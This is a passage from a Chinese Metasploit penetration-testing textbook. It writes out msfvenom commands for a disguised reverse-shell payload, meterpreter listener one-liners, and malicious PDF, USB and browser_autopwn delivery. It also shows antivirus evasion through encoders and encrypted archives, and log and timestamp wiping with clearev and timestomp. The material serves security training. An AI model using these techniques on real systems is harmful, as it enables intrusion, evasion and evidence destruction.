在本章中，您学习了如何设置 Metasploit 数据库，然后探索了使用 NMAP 和 Nessus 进行漏洞扫描的各种技术。我们最后了解了 Metasploit Framework 的高级后渗透功能。在下一章中，我们将学习 Metasploit Framework 的有趣的客户端利用功能。

练习

您可以尝试以下练习：

• 找出并尝试使用任何可用于漏洞检测的辅助模块

• 尝试探索 meterpreter 的各种功能，而不是本章讨论的那些功能

• 尝试找出是否有替代db_autopwn

第六章：使用 Metasploit 进行客户端攻击

在上一章中，我们学习了如何使用各种工具，如 NMAP 和 Nessus，直接利用目标系统中的漏洞。然而，我们学到的技术只有在攻击者的系统和目标系统在同一网络中时才有用。在本章中，我们将概述用于利用完全位于不同网络中的系统的技术。本章将涵盖以下主题：

• 理解与客户端攻击相关的关键术语

• 使用 msfvenom 生成自定义有效载荷

• 使用社会工程工具包

• 使用browser_autopwn辅助模块进行高级基于浏览器的攻击

客户端攻击的需求

在上一章中，我们在目标系统中使用了 MS08_067net api 漏洞，并获得了对系统的完全管理员级访问权限。我们将 RHOST 变量的值配置为目标系统的 IP 地址。现在，只有在攻击者的系统和目标系统都在同一网络中时，攻击才会成功。（攻击者系统的 IP 地址为192.168.44.134，目标系统的 IP 地址为192.168.44.129）。

如下图所示，这种情况非常直接：

现在，考虑下面图中显示的情景。攻击者系统的 IP 地址是一个公共地址，他试图利用不在同一网络中的系统上的漏洞。请注意，目标系统在这种情况下具有私有 IP 地址（10.11.1.56）并且在互联网路由器（88.43.21.9x）后进行了 NAT。因此，攻击者的系统和目标系统之间没有直接的连接。通过将 RHOST 设置为89.43.21.9，攻击者只能到达互联网路由器，而无法到达所需的目标系统。在这种情况下，我们需要采用另一种攻击目标系统的方法，即客户端攻击：

什么是客户端攻击？

正如我们在前面的部分中看到的，如果目标系统不在攻击者的网络中，那么攻击者无法直接到达目标系统。在这种情况下，攻击者将不得不通过其他方式将有效载荷发送到目标系统。将有效载荷传递到目标系统的一些技术包括：

1. 攻击者托管一个包含所需恶意有效载荷的网站，并将其发送给受害者。

2. 攻击者将有效载荷嵌入到任何看似无害的文件中，如 DOC、PDF 或 XLS，并通过电子邮件发送给受害者。

3. 攻击者使用感染的媒体驱动器（如 USB 闪存驱动器、CD 或 DVD）发送有效载荷

现在，一旦有效载荷被发送到受害者，受害者需要执行所需的操作以触发有效载荷。一旦有效载荷被触发，它将连接到攻击者并为他提供所需的访问权限。大多数客户端攻击需要受害者执行某种操作或其他。

以下流程图总结了客户端攻击的工作原理：

什么是 Shellcode？

让我们把单词 shellcode 分解成 shell 和 code。简单来说，shellcode 是一种旨在给目标系统提供 shell 访问权限的代码。实际上，shellcode 可以做的远不止提供 shell 访问权限。这完全取决于 shellcode 中定义的操作。为了执行客户端攻击，我们需要选择精确的 shellcode 作为有效载荷的一部分。假设目标系统存在某种漏洞，攻击者可以编写一个 shellcode 来利用该漏洞。Shellcode 通常是十六进制编码的数据，可能看起来像这样：

"
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
 "\x51\x68\x6c\x6c\x20\x20\x68\x33"
 "\x32\x2e\x64\x68\x75\x73\x65\x72"
 "\x89\xe1\xbb\x7b\x1d\x80\x7c\x51"
 "\xff\xd3\xb9\x5e\x67\x30\xef\x81"
 "\xc1\x11\x11\x11\x11\x51\x68\x61"
 "\x67\x65\x42\x68\x4d\x65\x73\x73"
 "\x89\xe1\x51\x50\xbb\x40\xae\x80"
 "\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
 "\x51\x51\x52\xff\xd0\x31\xc0\x50"
 "\xb8\x12\xcb\x81\x7c\xff\xd0" 
"

什么是反向 Shell？

反向 shell 是一种 shell 类型，执行后会连接到攻击者的系统，提供 shell 访问权限。

什么是绑定 shell？

绑定 shell 是一种 shell 类型，执行时会主动监听特定端口上的连接。攻击者可以连接到该端口以获取 shell 访问权限。

什么是编码器？

msfvenom实用程序将为我们生成有效载荷。然而，我们的有效载荷在目标系统上被杀毒软件检测到的可能性非常高。几乎所有行业领先的杀毒软件和安全软件程序都有签名来检测 Metasploit 有效载荷。如果我们的有效载荷被检测到，它将变得无用，我们的利用将失败。这正是编码器发挥作用的地方。编码器的工作是以一种不被杀毒软件或类似安全软件程序检测到的方式对生成的有效载荷进行混淆。

msfvenom 实用程序

早些时候，Metasploit 框架提供了两个不同的实用程序，即msfpayload和msfencode。msfpayload用于生成指定格式的有效载荷，而msfencode用于使用各种算法对有效载荷进行编码和混淆。然而，Metasploit 框架的更新和最新版本将这两个实用程序合并为一个称为msfvenom的单一实用程序。

msfvenom实用程序可以在单个命令中生成有效载荷并对其进行编码。接下来我们将看到一些命令：

msfvenom是一个独立的实用程序，不需要同时运行msfconsole。

• 列出有效载荷：msfvenom实用程序支持所有标准的 Metasploit 有效载荷。我们可以使用msfvenom --list payloads命令列出所有可用的有效载荷，如下面的屏幕截图所示：

• 列出编码器：正如我们之前讨论的，msfvenom是一个单一的实用程序，可以生成以及编码有效载荷。它支持所有标准的 Metasploit 编码器。我们可以使用msfvenom --list encoders命令列出所有可用的编码器，如下面的屏幕截图所示：

• 列出格式：在生成有效载荷时，我们需要指示msfvenom实用程序我们需要将有效载荷生成为的文件格式。我们可以使用msfvenom --help formats命令查看所有支持的有效载荷输出格式：

• 列出平台：在生成有效载荷的同时，我们还需要指示msfvenom实用程序我们的有效载荷将在哪个平台上运行。我们可以使用msfvenom --help-platforms命令列出所有支持的平台：

使用 msfvenom 生成有效载荷

现在我们已经熟悉了msfvenom实用程序支持的所有有效载荷、编码器、格式和平台，让我们尝试生成一个示例有效载荷，如下面的屏幕截图所示：

以下表格显示了在前述msfvenom命令中使用的每个命令开关的详细说明：

开关	说明
-a x86	这里，生成的有效载荷将在 x86 架构上运行
--platform windows	这里，生成的有效载荷针对 Windows 平台
-p windows/meterpreter/reverse_tcp	这里，有效载荷是带有反向 TCP 的 meterpreter
LHOST= 192.168.44.134	这里，攻击者系统的 IP 地址是192.168.44.134
LPORT= 8080	这里，攻击者系统上监听的端口号是8080
-e x86/shikata_ga_nai	这里，要使用的有效载荷编码器是shikata_ga_nai
-f exe	这里，有效载荷的输出格式是exe
-o /root/Desktop/apache-update.exe	这是生成的有效载荷将保存的路径

一旦我们生成了一个载荷，我们需要设置一个监听器，一旦在目标系统上执行了载荷，它将接受反向连接。以下命令将在 IP 地址192.168.44.134上的端口8080上启动一个 meterpreter 监听器：

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.44.134; set LPORT 8080; run; exit -y"

现在，我们已将载荷伪装成 Apache 更新发送给了我们的受害者。受害者需要执行它以完成利用：

一旦受害者执行apache-update.exe文件，我们就会在之前设置的监听器上获得一个活动的 meterpreter 会话（如下截图所示）：

另一种有趣的载荷格式是 VBA。如下截图所示，以 VBA 格式生成的载荷可以嵌入到任何 Word/Excel 文档的宏中：

使用 Metasploit 进行社会工程

社会工程是一种操纵人类行为的艺术，以绕过目标系统的安全控制。让我们以一个遵循非常严格安全实践的组织为例。所有系统都经过了加固和修补。最新的安全软件已部署。从技术上讲，攻击者很难找到并利用任何漏洞。然而，攻击者以某种方式设法与该组织的网络管理员交友，然后欺骗他透露管理员凭据。这是一个经典的例子，人类始终是安全链中最薄弱的环节。

默认情况下，Kali Linux 具有一个强大的社会工程工具，可以与 Metasploit 无缝集成，以发动有针对性的攻击。在 Kali Linux 中，社会工程工具包位于 Exploitation Tools | Social Engineering Toolkit 下。

生成恶意 PDF

打开社会工程工具包，并选择第一个选项 Spear-Phishing Attack Vectors，如下截图所示。然后选择第二个选项 Create a File Format Payload：

现在，选择选项 14 使用Adobe util.printf() Buffer Overflow利用：

选择选项 1，将 Windows Reverse TCP Shell 作为我们的利用载荷。然后，使用 LHOST 变量设置攻击者机器的 IP 地址（在本例中是192.168.44.134）和要监听的端口（在本例中是443）：

PDF 文件已在目录/root/.set/中生成。现在我们需要使用任何可用的通信媒介将其发送给我们的受害者。同时，我们还需要启动一个监听器，该监听器将接受来自目标的反向 meterpreter 连接。我们可以使用以下命令启动监听器：

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.44.134; set LPORT 443; run; exit -y"

另一方面，我们的受害者收到了 PDF 文件，并尝试使用 Adobe Reader 打开它。Adobe Reader 崩溃了，但没有迹象表明受害者受到了威胁：

在监听端（攻击者系统上），我们得到了一个新的 meterpreter shell！我们可以在下面的截图中看到这一点：

创建传染性媒体驱动器

打开社会工程工具包，从主菜单中选择选项 3 传染性媒体生成器，如下截图所示。然后，选择选项 2 创建标准的 Metasploit 可执行文件：

现在，选择选项 1，将 Windows Shell Reverse TCP 作为我们的利用载荷。然后，在 LHOST 变量中设置 IP 地址和要监听的端口：

社会工程工具包将生成一个名为autorun的文件夹，位于/root/.set/。这个文件夹可以复制到 USB 闪存驱动器或 CD/DVD-ROM 中，以分发给我们的受害者。与此同时，我们还需要设置一个监听器（如前面部分所示），然后等待我们的受害者将受感染的媒体插入他的系统。

浏览器自动攻击

用于执行客户端攻击的另一个有趣的辅助模块是browser_autopwn。这个辅助模块按以下顺序工作：

1. 攻击者执行browser_autopwn辅助模块。

2. 攻击者在其系统上启动一个 Web 服务器，托管一个载荷。这个载荷可以通过特定的 URL 访问。

3. 攻击者向受害者发送特制的 URL。

4. 受害者试图打开 URL，这时载荷就会下载到他的系统上。

5. 如果受害者的浏览器存在漏洞，攻击成功，攻击者就会获得一个 meterpreter shell。

从msfconsole中，使用use auxiliary/server/browser_autopwn命令选择browser_autopwn模块，如下截图所示。然后，配置 LHOST 变量的值并运行辅助模块：

运行辅助模块将创建许多不同的利用/载荷组合实例，因为受害者可能使用任何类型的浏览器：

在目标系统上，我们的受害者打开了 Internet Explorer，并尝试访问恶意 URL http://192.168.44.134:8080（我们使用browser_autopwn辅助模块设置的）：

回到我们的 Metasploit 系统，我们的受害者一打开特制的 URL，我们就获得了一个 meterpreter shell：

总结

在本章中，我们学习了如何使用各种工具和技术来发动高级客户端攻击并绕过网络边界限制。

在下一章中，我们将深入探讨 Metasploit 在测试 Web 应用程序安全性方面的能力。

练习

您可以尝试以下练习：

• 熟悉msfvenom的各种参数和开关

• 探索社会工程工具包提供的各种其他社会工程技术

第七章：使用 Metasploit 进行 Web 应用程序扫描

在上一章中，我们概述了如何使用 Metasploit 来发动欺骗性的客户端攻击。在本章中，您将学习 Metasploit Framework 的各种功能，用于发现 Web 应用程序中的漏洞。在本章中，我们将涵盖以下主题：

• 设置易受攻击的 Web 应用程序

• 使用 WMAP 进行 Web 应用程序漏洞扫描

• 用于 Web 应用程序枚举和扫描的 Metasploit 辅助模块

设置易受攻击的应用程序

在我们开始探索 Metasploit Framework 提供的各种 Web 应用程序扫描功能之前，我们需要建立一个测试应用程序环境，以便进行测试。正如在前几章中讨论的那样，Metasploitable 2是一个故意制造漏洞的 Linux 发行版。它还包含了故意制造漏洞的 Web 应用程序，我们可以利用这一点来练习使用 Metasploit 的 Web 扫描模块。

为了使易受攻击的测试应用程序运行起来，只需启动metasploitable 2；Linux，并从任何 Web 浏览器远程访问它，如下面的截图所示：

在 metasploitable 2 分发版上默认运行两个不同的易受攻击的应用程序，Mutillidae 和Damn Vulnerable Web Application（DVWA）。易受攻击的应用程序可以进一步进行测试，如下面的截图所示：

使用 WMAP 进行 Web 应用程序扫描

WMAP 是 Kali Linux 中可用的强大的 Web 应用程序漏洞扫描器。它以插件的形式集成到 Metasploit Framework 中。为了使用 WMAP，我们首先需要在 Metasploit 框架中加载和初始化插件，如下面的截图所示：

一旦wmap插件加载到 Metasploit Framework 中，下一步是为我们的扫描创建一个新站点或工作空间。站点创建后，我们需要添加要扫描的目标 URL，如下面的截图所示：

现在我们已经创建了一个新站点并定义了我们的目标，我们需要检查哪些 WMAP 模块适用于我们的目标。例如，如果我们的目标没有启用 SSL，则对此运行 SSL 相关测试就没有意义。这可以使用wmap_run -t命令来完成，如下面的截图所示：

现在我们已经枚举了适用于对我们易受攻击的应用程序进行测试的模块，我们可以继续进行实际的测试执行。这可以通过使用wmap_run -e命令来完成，如下面的截图所示：

在我们的目标应用程序上成功执行测试后，发现的漏洞（如果有）将存储在 Metasploit 的内部数据库中。然后可以使用wmap_vulns -l命令列出漏洞，如下面的截图所示：

使用 Metasploit 的 Web 应用程序枚举和扫描辅助模块

在第四章使用 Metasploit 进行信息收集中，我们已经看到了 Metasploit Framework 中用于枚举 HTTP 服务的一些辅助模块。接下来，我们将探索一些其他可以有效用于枚举和扫描 Web 应用程序的辅助模块：

• cert：此模块可用于枚举目标 Web 应用程序上的证书是否有效或已过期。其辅助模块名称为auxiliary/scanner/http/cert，其使用方法如下截图所示：

需要配置的参数如下：

• RHOSTS: 要扫描的目标的 IP 地址或 IP 范围

还可以通过指定包含目标 IP 地址列表的文件，同时在多个目标上运行模块，例如，设置 RHOSTS /root/targets.lst。

• dir_scanner：该模块检查目标 Web 服务器上各种目录的存在。这些目录可能会透露一些有趣的信息，如配置文件和数据库备份。其辅助模块名称为auxiliary/scanner/http/dir_scanner，如下截图所示：

要配置的参数如下：

• RHOSTS：要扫描的目标的 IP 地址或 IP 范围

• enum_wayback：www.archive.org 存储了任何给定网站的所有历史版本和数据。它就像一个时光机，可以展示多年前特定网站的样子。这对于目标枚举可能很有用。enum_wayback模块查询www.archive.org，以获取目标网站的历史版本。

其辅助模块名称为auxiliary/scanner/http/enum_wayback，如下截图所示：

要配置的参数如下：

• RHOSTS：要查询其存档的目标域名

• files_dir：该模块搜索目标，查找可能无意中留在 Web 服务器上的任何文件。这些文件包括源代码、备份文件、配置文件、存档和密码文件。其辅助模块名称为auxiliary/scanner/http/files_dir，以下截图显示了如何使用它：

要配置的参数如下：

• RHOSTS：要扫描的目标的 IP 地址或 IP 范围

• http_login：如果目标系统启用了基于 HTTP 的身份验证，该模块尝试暴力破解。它使用 Metasploit Framework 中提供的默认用户名和密码字典。其辅助模块名称为auxiliary/scanner/http/http_login，以下截图显示了如何使用它：

要配置的参数如下：

• RHOSTS：要扫描的目标的 IP 地址或 IP 范围

• options: 该模块检查目标 Web 服务器上是否启用了各种HTTP方法，如TRACE和HEAD。这些方法通常是不必要的，攻击者可以利用它们来策划攻击向量。其辅助模块名称为auxiliary/scanner/http/options，以下截图显示了如何使用它：

要配置的参数如下：

• RHOSTS：要扫描的目标的 IP 地址或 IP 范围

• http_version: 该模块枚举目标并返回 Web 服务器和底层操作系统的确切版本。然后可以使用版本信息启动特定攻击。其辅助模块名称为auxiliary/scanner/http/http_version，以下截图显示了如何使用它：

要配置的参数如下：

• RHOSTS：要扫描的目标的 IP 地址或 IP 范围

总结

在本章中，我们探讨了 Metasploit Framework 的各种功能，可用于 Web 应用程序安全扫描。在前往下一章之前，您将学习各种技术，可用于将我们的有效负载隐藏在防病毒程序中，并在入侵系统后清除我们的痕迹。

练习

查找并利用以下易受攻击的应用程序中的漏洞：

• DVWA

• Mutillidae

• OWASP Webgoat

第八章：防病毒逃避和反取证

在前两章中，您学习了如何利用 Metasploit 框架生成自定义有效负载并发动高级客户端攻击。然而，如果我们生成的有效负载被防病毒程序检测并阻止，那么它们将毫无用处。在本章中，我们将探讨各种技术，以使我们的有效负载尽可能不被检测。您还将熟悉在成功妥协后覆盖我们的踪迹的各种技术。

在本章中，我们将涵盖以下主题：

• 使用编码器避免 AV 检测

• 使用二进制加密和打包技术

• 测试有效负载以检测和沙盒概念

• 使用 Metasploit 反取证技术，如 TimeStomp 和 clearev

使用编码器避免 AV 检测

在第六章《使用 Metasploit 进行客户端攻击》中，我们已经看到如何使用msfvenom实用程序生成各种有效负载。然而，如果原样使用这些有效负载，它们很可能会被防病毒程序检测到。为了避免我们的有效负载被防病毒程序检测到，我们需要使用msfvenom实用程序提供的编码器。

要开始，我们将使用shikata_ga_nai编码器生成.exe格式的简单有效负载，如下面的屏幕截图所示：

一旦有效负载生成，我们将其上传到网站www.virustotal.com进行分析。分析完成后，我们可以看到我们的文件apache-update.exe（包含有效负载）被使用的 60 个防病毒程序中的 46 个检测到。这对于我们的有效负载来说是相当高的检测率。将此有效负载原样发送给受害者的成功可能性较小，因为它的检测率。现在，我们必须努力使它不被尽可能多的防病毒程序检测到。

该网站www.virustotal.com运行来自各种供应商的多个防病毒程序，并使用所有可用的防病毒程序扫描上传的文件。

仅仅一次使用shikata_ga_nai编码器对我们的有效负载进行编码并没有很好地工作。msfvenom实用程序还有一个选项，可以多次迭代编码过程。通过多次迭代编码器对我们的有效负载进行处理可能会使其更隐蔽。现在，我们将尝试生成相同的有效负载；但是，这次我们将尝试运行编码器 10 次，以使其隐蔽，如下面的屏幕截图所示：

现在有效负载已生成，我们再次将其提交到www.virustotal.com进行分析。如下面的屏幕截图所示，分析结果显示，这次我们的有效负载被 60 个防病毒程序中的 45 个检测到。因此，它比我们之前的尝试稍好，但仍然不够好：

为了进一步尝试使我们的有效负载不被检测到，这次我们将尝试将编码器从shikata_ga_nai（之前使用的）更改为一个名为opt_sub的新编码器，如下面的屏幕截图所示。我们将在我们的有效负载上运行编码器五次：

一旦有效负载生成，我们将提交它进行分析到www.virustotal.com。这次，结果看起来好多了！只有 25 个防病毒程序中的 25 个能够检测到我们的有效负载，而之前有 45 个能够检测到，如下面的屏幕截图所示。这确实是一个显著的改进：

您可能已经了解到，没有单一的秘密配方可以使我们的有效负载完全不被检测到。

使载荷不可检测的过程涉及使用各种排列组合和不同编码器的各种试验和错误方法。您必须不断尝试，直到载荷的检测率降到可接受的水平。

然而，非常重要的一点是，有时在载荷上运行多次编码器的迭代甚至可能损坏原始载荷代码。因此，最好在将其发送到目标系统之前，确实通过在测试实例上执行来验证载荷。

使用打包程序和加密程序

在前面的部分中，我们已经看到如何利用各种编码器来使我们的载荷免受杀毒程序的检测。然而，即使使用不同的编码器和迭代，我们的载荷仍然被一些杀毒程序检测到。为了使我们的载荷完全隐蔽，我们可以利用一个叫做加密自解压缩存档的功能，这是由一个叫做7-Zip的压缩实用程序提供的。

首先，我们将把一个恶意的 PDF 文件（包含一个载荷）上传到网站www.virustotal.com，如下面的截图所示。分析显示，我们的 PDF 文件被 56 个可用的杀毒程序中的 32 个检测到，如下面的截图所示：

现在，使用 7-Zip 实用程序，如下面的截图所示，我们将我们的恶意 PDF 文件转换成一个自解压缩存档：

分析结果，如下面的截图所示，显示了被转换成自解压缩存档的 PDF 文件被 59 个可用的杀毒程序中的 21 个检测到。这比我们之前的尝试（32/56）要好得多：

现在，为了使载荷更加隐蔽，我们将把我们的载荷转换成一个受密码保护的自解压缩存档。这可以通过 7-Zip 实用程序来完成，如下面的截图所示：

现在，我们将把密码加密的载荷上传到网站www.virustotal.com并检查结果，如下面的截图所示。有趣的是，这一次没有一个杀毒程序能够检测到我们的载荷。现在，我们的载荷将在整个传输过程中不被检测到，直到它到达目标。然而，密码保护为最终用户（受害者）执行载荷增加了另一个障碍：

什么是沙箱？

无论我们执行一个应用程序，无论是合法的还是恶意的，都会发生以下事件：

• 应用程序直接与主机操作系统交互

• 系统调用被执行

• 建立网络连接

• 注册表条目被修改

• 事件日志被写出

• 临时文件被创建或删除

• 新的进程被生成

• 配置文件被更新

所有上述事件都是持久性的，并改变了目标系统的状态。现在，可能会有一种情况，我们必须以受控的方式测试一个恶意程序，以便测试系统的状态保持不变。这正是沙箱可以发挥重要作用的地方。

想象一下，沙箱是一个隔离的容器或隔间。在沙箱内执行的任何东西都会留在沙箱内，不会影响外部世界。在沙箱内运行一个载荷样本将帮助您分析其行为，而不会影响主机操作系统。

有几个开源和免费的沙箱框架可用，如下所示：

• Sandboxie：www.sandboxie.com

• Cuckoo 沙箱：cuckoosandbox.org/

探索这些沙箱的功能超出了本书的范围；然而，尝试这些沙箱进行恶意载荷分析是值得的。

反取证

在过去的十年左右，数字取证技术有了实质性的改进和进步。取证工具和技术已经得到了很好的发展和成熟，可以在发生违规/欺诈或事件时搜索、分析和保留任何数字证据。

在整本书中，我们已经看到了 Metasploit 如何用于妥协远程系统。Meterpreter 使用内存中的dll注入，并确保除非明确需要，否则不会写入磁盘。然而，在妥协过程中，我们经常需要执行某些修改、添加或删除远程文件系统上的文件的操作。这意味着如果对被妥协的系统进行取证调查，我们的行为将被追溯。

成功地妥协我们的目标系统是一部分，而确保我们的妥协即使从法医角度来看也不被察觉和发现是另一个重要部分。幸运的是，Metasploit 框架提供了工具和实用程序，帮助我们清除我们的足迹，并确保在系统上留下最少或没有我们的妥协证据。

Timestomp

文件系统中的每个文件和文件夹，无论操作系统的类型如何，都有与之关联的元数据。元数据只是特定文件或文件夹的属性，包含诸如创建、访问和修改时间和日期、磁盘上的大小、所有权信息以及一些其他属性，比如是否标记为只读或隐藏。在任何欺诈或事件发生时，这些元数据可以揭示大量有用的信息，可以追溯攻击。

除了元数据的关注，还有一些安全程序被称为文件完整性监视器，它们不断监视文件是否发生变化。现在，当我们妥协一个系统并在其上获得 meterpreter shell 时，我们可能需要访问该系统上的现有文件，创建新文件或修改现有文件。当我们进行这些更改时，它显然会以更改的时间戳的形式反映在元数据中。这可能会引起警报或在事件调查中泄露线索。为了避免通过元数据留下我们的痕迹，我们希望覆盖我们在妥协过程中访问或创建的每个文件和文件夹的元数据信息（特别是时间戳）。

Meterpreter 提供了一个非常有用的实用程序，称为timestomp，您可以使用它覆盖任何文件或文件夹的时间戳值。

一旦我们在被妥协的系统上获得了 meterpreter shell，下面的屏幕截图显示了timestomp实用程序的帮助菜单：

下面的屏幕截图显示了在使用timestomp之前文件Confidential.txt的时间戳：

现在，我们将利用 SMB MS08_67_netapi漏洞妥协我们的目标系统，然后使用timestomp实用程序修改文件Confidential.txt的时间戳，如下面的屏幕截图所示：

使用timestomp实用程序修改文件时间戳后，我们可以看到文件Confidential.txt的更改时间戳值，如下面的屏幕截图所示：

clearev

每当我们与 Windows 系统交互时，所有操作都以事件日志的形式记录下来。事件日志分为三类，即应用程序日志、安全日志和系统日志。在系统故障或安全妥协的情况下，调查员/管理员最有可能首先看到事件日志。

假设我们通过某些漏洞入侵了 Windows 主机。然后，我们使用 meterpreter 上传新文件到被入侵的系统。我们还提升了权限并尝试添加新用户。现在，这些操作将被记录在事件日志中。在我们付出所有努力进行入侵之后，我们肯定不希望我们的行动被发现。这时，我们可以使用一个名为clearev的 meterpreter 脚本来清除所有日志并清除我们的活动痕迹。

以下截图显示了存储和显示所有事件日志的“Windows 事件查看器”应用程序：

现在，我们使用 SMBMS08_67_netapi漏洞来入侵目标 Windows 系统，并获得了 meterpreter 访问。我们在 meterpreter shell 中输入clearev命令（如下截图所示），它简单地清除了被入侵系统上的所有日志：

回到我们被入侵的 Windows 系统，我们检查了“事件查看器”，发现所有日志都已清除，如下截图所示：

总结

在本章中，您探索了使有效载荷不可检测的各种技术，并了解了与反取证相关的 Metasploit Framework 的各种能力。在前往下一章之前，我们将深入研究一种名为 Armitage 的网络攻击管理工具，该工具在后台使用 Metasploit，并简化了更复杂的渗透测试任务。

练习

您可以尝试以下练习：

• 使用msfvenom实用程序生成有效载荷，然后尝试使用各种编码器使其在www.virustotal.com上最不可检测

• 探索一个名为Hyperion的工具，使有效载荷不可检测

• 尝试使用任何沙箱应用程序来分析使用msfvenom实用程序生成的有效载荷的行为

第九章：使用 Armitage 进行网络攻击管理

到目前为止，在本书中，您已经学会了在渗透测试生命周期的所有阶段使用 Metasploit 的各种基本和高级技术。我们已经使用 Metasploit 命令行界面msfconsole执行了所有这些操作。现在我们已经熟悉了如何使用msfconsole，让我们继续使用图形界面，这将使我们的渗透测试任务更加容易。在本章中，我们将涵盖以下主题：

• Armitage 简介

• 启动 Armitage 控制台

• 扫描和枚举

• 查找合适的攻击

• 利用目标

什么是 Armitage？

简而言之，Armitage 只是一个用于执行和管理所有任务的 GUI 工具，否则这些任务可以通过msfconsole执行。

Armitage 帮助可视化目标，自动推荐合适的攻击，并在框架中公开高级的攻击后操作功能。

请记住，Armitage 在后台使用 Metasploit；因此，为了使用 Armitage，您需要在系统上运行一个正在运行的 Metasploit 实例。Armitage 不仅与 Metasploit 集成，还与其他工具（如 NMAP）集成，用于高级端口扫描和枚举。

Armitage 已经预装在默认的 Kali Linux 安装中。

启动 Armitage 控制台

在实际启动 Armitage 控制台之前，首先我们需要启动postgresql服务和 Metasploit 服务，如下面的屏幕截图所示：

一旦 postgresql 和 Metasploit 服务正常运行，我们可以在命令行中输入armitage来启动 Armitage 控制台，如下面的屏幕截图所示：

在初始启动时，armitage控制台显示如下屏幕截图所示：

现在 Armitage 控制台已经启动，让我们添加我们希望攻击的主机。要添加新主机，请单击“主机”菜单，然后选择“添加主机”选项。您可以一次添加单个主机或多个主机，如下面的屏幕截图所示：

扫描和枚举

现在我们已经将目标主机添加到 Armitage 控制台，我们将执行一个快速端口扫描，以查看这里打开了哪些端口。要执行端口扫描，请右键单击主机，然后选择扫描选项，如下面的屏幕截图所示。这将在 Armitage 控制台的底部窗格中列出目标系统上的所有打开端口：

正如我们之前所见，Armitage 也与 NMAP 很好地集成。现在，我们将对目标进行 NMAP 扫描，以枚举服务并检测远程操作系统的版本，如下面的屏幕截图所示。要启动 NMAP 扫描，请单击“主机”选项，选择 NMAP 扫描，然后选择“快速扫描（OS 检测）”选项：

NMAP 扫描完成后，您会注意到我们目标主机上的 Linux 图标。

查找并发动攻击

在前面的部分中，我们将主机添加到 Armitage 控制台，并使用 NMAP 对其进行了端口扫描和枚举。现在，我们知道它正在运行基于 Debian 的 Linux 系统。下一步是找到与我们目标主机匹配的所有可能的攻击。为了获取所有适用的攻击，选择“攻击”菜单，然后单击“查找攻击”。现在，Armitage 控制台将查询后端数据库，以查找早期枚举中发现的所有可能匹配的漏洞利用，如下面的屏幕截图所示：

一旦 Armitage 控制台完成查询可能的利用，您可以通过右键单击主机并选择“攻击”菜单来查看适用的利用列表。在这种情况下，我们将尝试利用postgresql漏洞，如下面的屏幕截图所示：

在选择攻击类型为 Linux 负载执行的 PostgreSQL 时，我们会看到以下屏幕截图中显示的几种利用选项。我们可以将其保留为“默认”，然后点击“启动”按钮：

一旦我们发动了攻击，利用就会被执行。请注意主机图标的变化，如下面的屏幕截图所示。主机已成功被攻陷：

现在我们的主机已被攻陷，我们在系统上获得了一个反向连接。我们可以进一步与其交互，上传任何文件和负载，或使用任何后渗透模块。要做到这一点，只需右键单击被攻陷的主机，选择“Shell 1”选项，然后选择“交互”选项，如下面的屏幕截图所示：

与被攻陷的主机进行交互时，在 Armitage 控制台的底部窗格中打开了一个名为“Shell 1”的新选项卡，如下面的屏幕截图所示。从这里，我们可以远程执行所有 Linux 命令：

摘要

在本章中，您已经熟悉了使用 Armitage 工具在后台使用 Metasploit 进行网络攻击管理。Armitage 工具在同时对多个目标进行渗透测试时肯定会很方便，并节省大量时间。在下一章中，我们将学习如何通过添加自定义利用来进一步扩展 Metasploit 框架。

练习

尝试详细探索 Armitage 的各种功能，并使用它来攻陷任何目标 Windows 主机。

第十章：扩展 Metasploit 和利用开发

在上一章中，您学习了如何有效地使用 Armitage 轻松执行一些复杂的渗透测试任务。在本章中，我们将对利用开发进行高层次的概述。利用开发可能非常复杂和繁琐，是一个如此广泛的主题，以至于可以写一整本书。然而，在本章中，我们将试图了解利用开发是什么，为什么需要它，以及 Metasploit 框架如何帮助我们开发利用。本章将涵盖以下主题：

• 利用开发概念

• 将外部利用添加到 Metasploit

• Metasploit 利用模板和混合技术介绍

利用开发概念

利用可以有许多不同的类型。它们可以根据平台、架构和服务目的等各种参数进行分类。每当发现任何给定的漏洞时，通常存在以下三种可能性之一：

• 已经存在利用代码

• 部分利用代码已经存在，需要一些修改才能执行恶意载荷

• 没有利用代码存在，需要从头开始开发新的利用代码

前两种情况看起来很容易，因为利用代码已经存在，可能只需要一些小的调整就可以执行。然而，第三种情况，即刚刚发现漏洞且没有利用代码存在的情况，才是真正的挑战。在这种情况下，您可能需要执行以下一些任务：

• 收集基本信息，例如漏洞支持的平台和架构

• 收集有关漏洞如何被利用以及可能的攻击向量的所有可能细节

• 使用模糊测试等技术来具体确定脆弱的代码和参数

• 编写伪代码或原型来测试利用是否真正有效

• 编写带有所有必需参数和值的完整代码

• 发布代码供社区使用，并将其转换为 Metasploit 模块

所有这些活动都非常紧张，需要大量的研究和耐心。利用代码对参数非常敏感；例如，在缓冲区溢出利用的情况下，返回地址是成功运行利用的关键。即使返回地址中的一个位被错误地提及，整个利用都会失败。

什么是缓冲区溢出？

缓冲区溢出是各种应用程序和系统组件中最常见的漏洞之一。成功的缓冲区溢出利用可能允许远程任意代码执行，从而提升权限。

当程序尝试在缓冲区中插入的数据超过其容量时，或者当程序尝试将数据插入到缓冲区之后的内存区域时，就会发生缓冲区溢出条件。在这种情况下，缓冲区只是分配的内存的连续部分，用于保存从字符串到整数数组的任何内容。尝试在分配的内存块的边界之外写入数据可能会导致数据损坏，使程序崩溃，甚至导致恶意代码的执行。让我们考虑以下代码：

#include <stdio.h>

void AdminFunction()
{
    printf("Congratulations!\n");
    printf("You have entered in the Admin function!\n");
}

void echo()
{
    char buffer[25];

    printf("Enter any text:\n");
    scanf("%s", buffer);
    printf("You entered: %s\n", buffer);    
}

int main()
{
    echo();

    return 0;
}

上述代码存在缓冲区溢出漏洞。如果仔细注意，缓冲区大小已设置为 25 个字符。但是，如果用户输入的数据超过 25 个字符会怎么样？缓冲区将简单地溢出，程序执行将突然结束。

模糊测试是什么？

